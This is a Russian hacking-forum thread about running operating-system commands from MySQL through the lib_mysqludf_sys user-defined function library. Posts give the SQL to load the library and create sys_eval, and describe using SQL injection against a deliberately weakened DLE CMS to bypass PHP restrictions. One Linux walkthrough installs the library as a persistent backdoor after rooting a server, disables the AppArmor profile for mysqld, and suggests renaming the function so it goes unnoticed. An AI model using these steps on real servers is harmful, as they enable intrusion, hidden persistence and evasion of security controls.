Старый 19.03.2012, 08:52   #1
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию Прокачиваем Мускул, или выполнение системных команд.

Качаем Мускул, или выполнение системных команд.

http://depositfiles.com/files/7ssja9v37

На видео показано выполнение системных команд из MySql, используя UDF (User-Defined Function).
Про добавление новой, определяемой пользователем функции описано тут.
http://www.mysql.ru/docs/man/Adding_UDF.html

Коротко,
функции должны быть написаны на C или на C++, а операционная система должна поддерживать динамическую загрузку.
Файлы, реализующие UDFы, должны компилироваться и устанавливаться на машине, где работает сервер, в каталог,
где MySql может его прочитать.
Под виндой мускул воспринял новый файл без перезагрузки.

После установки библиотеки, новая функция инициализируется командой:
Код:
CREATE FUNCTION name_function RETURNS STRING SONAME "name_udf_lib.so";
Все, можно пользоваться name_function(), так же как и встроенной.

Для удаления функции используем команду
Код:
DROP FUNCTION name_function;
Существуют готовые библиотеки, самые известные находятся здесь
http://www.mysqludf.org/
нас интересует эта
http://www.mysqludf.org/lib_mysqludf_sys/

в ее составе
lib_mysqludf_sys_info() - для вывода информации о текущей версии
sys_eval — выполняет переданную команду и возвращает её вывод
sys_exec — выполняет переданную команду и возвращает её код возврата
sys_get — получает значение переменной окружения
sys_set — создает переменную окружения и устанавливает/обновляет её значение


к сожалению на сайте, для виндов выложена левая библиотека, но рабочая нашлась по адресу
для 32b
http://www.assembla.com/code/amuccitesi/subversion/nodes/plugin/windows/lib_mysqludf_sys.dll?rev=3

для 64b (эту не проверял)
https://sites.google.com/site/xedocfiles/files/lib_mysqludf_sys.zip?attredirects=0&d=1

На видео показано:
смотрим, откуда мускул подгружает библиотеки
Код:
show variables like 'plugin_dir';
и в этот каталог льем файл lib_mysqludf_sys.dll

создаем UDF
Код:
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll';
Код:
select * from mysql.func
покажет все пользовательские функции

проверяем работу
Код:
select sys_eval('dir');
дает вывод каталога @@datadir

Собственно все...

Ну проверим работу, забэкдорив СМСку (под руками была DLE v9.4).
Пакостим слегка, в скрипте убираем фильтрацию переменной и эксплуатируем SQLi.

Дополнительный бонус метода, даже если включат в PHP
disable_functions
open_basedir
safe_mode
выполнение команд через мускул не страдает.

На форуме, близко по теме
https://rdot.org/forum/showthread.php?p=6197#post6197
https://rdot.org/forum/showthread.php?t=2025

Последний раз редактировалось nikp; 19.03.2012 в 10:22..
nikp вне форума   Ответить с цитированием
Старый 19.03.2012, 12:43   #2
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию

на https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/udfhack/ можно взять исходники, полностью готовые к употреблению и компиляции без танцев с бубном, для linux/windows/x32/x64
DrakonHaSh вне форума   Ответить с цитированием
Старый 20.03.2012, 17:11   #3
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

охуенно, спасибо
12309 вне форума   Ответить с цитированием
Старый 21.03.2012, 01:51   #4
euro
 
Регистрация: 09.07.2010
Сообщений: 66
Репутация: 8
По умолчанию

А если
Код:
show variables like 'plugin_dir';
возвращает пустой результат как быть ?
euro вне форума   Ответить с цитированием
Старый 21.03.2012, 02:46   #5
nobody
 
Аватар для nobody
 
Регистрация: 05.07.2010
Сообщений: 176
Репутация: 130
По умолчанию

Цитата:
Сообщение от euro Посмотреть сообщение
А если
Код:
show variables like 'plugin_dir';
возвращает пустой результат как быть ?
Цитата:
Сообщение от dev.mysql.com
If the value of plugin_dir is a relative path name, it is taken to be relative to the MySQL base directory (the value of the basedir system variable).
тоесть видимо в таком случае plugin_dir = basedir
nobody вне форума   Ответить с цитированием
Старый 21.03.2012, 17:12   #6
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

Переменная plugin_dir появилась в версии 5.1.2, в целях безопасности. В предыдущих версиях (по крайней мере 5.0.67 и 4.1.22)
библиотека плагина искалась по путям, которыми оперерирует загрузчик динамических библиотек (dynamic linker).
В nix это стандартный каталог lib плюс то, что определено в /etc/ld.so.conf.
Под win, это C:\WINDOWS, C:\WINDOWS\system, C:\WINDOWS\system32.

Дополнительно мускул просматривал свои каталоги @@basedir\bin и @@datadir.

Так же себя ведет мускул, в версиях >=5.1.2, если переменная plugin_dir отсутствует, или пустая.

Вроде бы так.
===========
UPD поведение для nix и win разное.

Проверил для win
версии 5.067, 5.0.77, 5.0.90 нормально подключают udf библиотеку из @@datadir
т.е. хороший вариант, когда попался phpmyadmin с root мускула и нет раскрытия пути.

Проверил для nix
версии 5.0.77, 5.0.90 - из @@datadir библиотека не подключается.

Последний раз редактировалось nikp; 25.03.2012 в 17:00..
nikp вне форума   Ответить с цитированием
Старый 14.06.2012, 20:04   #7
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

под *nix:

Как оказалось, заполучив рута на системе (linux), можно оставить что-то типо бекдорчика в MySql (выполнение системных команд через sql-иньекцию например, или прямо из phpmyadmin). Прочитал статью Razor-а, но там только виндовз, решил покапать в убунте, итак, последовательность действий (всё делалось на Ubuntu 9.10):

1. Рутаем сервак
2. Выполняем следующее:

Цитата:
wget http://www.mysqludf.org/lib_mysqludf_sys/lib_mysqludf_sys_0.0.3.tar.gz -q
tar xzf lib_mysqludf_sys_0.0.3.tar.gz
sh install.sh
нам выдаст примерно следующее:

Цитата:
Compiling the MySQL UDF
gcc -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o /usr/lib/lib_mysqludf_sys.so
MySQL UDF compiled successfully
-e
Please provide your MySQL root password
Enter password:
ERROR 1126 (HY000): Can't open shared library '/usr/lib/mysql/plugin/lib_mysqludf_sys.so'.....
как видно, пути отличаются, поэтому создаем /usr/lib/mysql/plugin/ и просто копируем туда lib_mysqludf_sys.so

опять

Цитата:
sh install.sh
и всё установилось. Замечательно, теперь у нас по идее есть sys_eval функция из этой библиотеки, которая позволит нам выполнять системные команды. Проверяем:

Цитата:
mysql> select sys_exec('id');

+----------------+

| sys_exec('id') |

+----------------+

| 32512 |

+----------------+

1 row in set (0.01 sec)
видим, фигу. Оказалось в линксах есть некий AppArmor, что типо фаервола, который и следит, чтобы
приложения делали то, что им полагается, создавая для каждого приложения свой профиль безопасности.

В Ubuntu 9.10 профиль mysql находится по адресу:

/etc/apparmor.d/usr.sbin.mysqld и выглядит примерно так:

Цитата:
# vim:syntax=apparmor
# Last Modified: Tue Jun 19 17:37:30 2007
#include <tunables/global>

/usr/sbin/mysqld {
include <abstractions/base>
include <abstractions/nameservice>
include <abstractions/user-tmp>
include <abstractions/mysql>
include <abstractions/winbind>

capability dac_override,
capability sys_resource,
capability setgid,
capability setuid,

network tcp,

/etc/hosts.allow r,
/etc/hosts.deny r,

/etc/mysql/*.pem r,
/etc/mysql/conf.d/ r,
/etc/mysql/conf.d/* r,
/etc/mysql/my.cnf r,
/usr/sbin/mysqld mr,
/usr/share/mysql/** r,
/var/log/mysql.log rw,
/var/log/mysql.err rw,
/var/lib/mysql/ r,
/var/lib/mysql/** rwk,
/var/log/mysql/ r,
/var/log/mysql/* rw,
/var/run/mysqld/mysqld.pid w,
/var/run/mysqld/mysqld.sock w,
}
у нас два варианта - совсем удалить его) или подредактировать.

делаем:

Цитата:
/etc/init.d/apparmor stop
и просто каментим "#" в /etc/apparmor.d/usr.sbin.mysqld все, что между { и } (ну первое что пришло в голову, может можно что и получше придумать), сохраняем,

Цитата:
/etc/init.d/apparmor start
всё, apparmor запущен, но mysql им уже не контролируется, проверяем:

Цитата:
mysql> select sys_eval('id');
+--------------------------------------------------+
| sys_eval('id') |
+--------------------------------------------------+
| uid=112(mysql) gid=123(mysql) groups=123(mysql)
|
+--------------------------------------------------+
1 row in set (0,01 sec)
заработало, и будет работать и из браузера и из phpmyadmin

Использованные материалы:

http://bernardodamele.blogspot.com/2009/01/mysql-udf-and-apparmor.html
http://0x80.org/blog/?p=298
http://www.xakep.ru/magazine/xa/123/042/1.asp
http://raz0r.name/obzory/mysql-bekdor-dlya-windows/

PS:

1) sys_eval(0x6964)==sys_eval('id'), меджики в пролете
2) sys_eval - палевное название функции, но название можно поменять, сорцы-то у нас есть
Pashkela вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd. Перевод: zCarot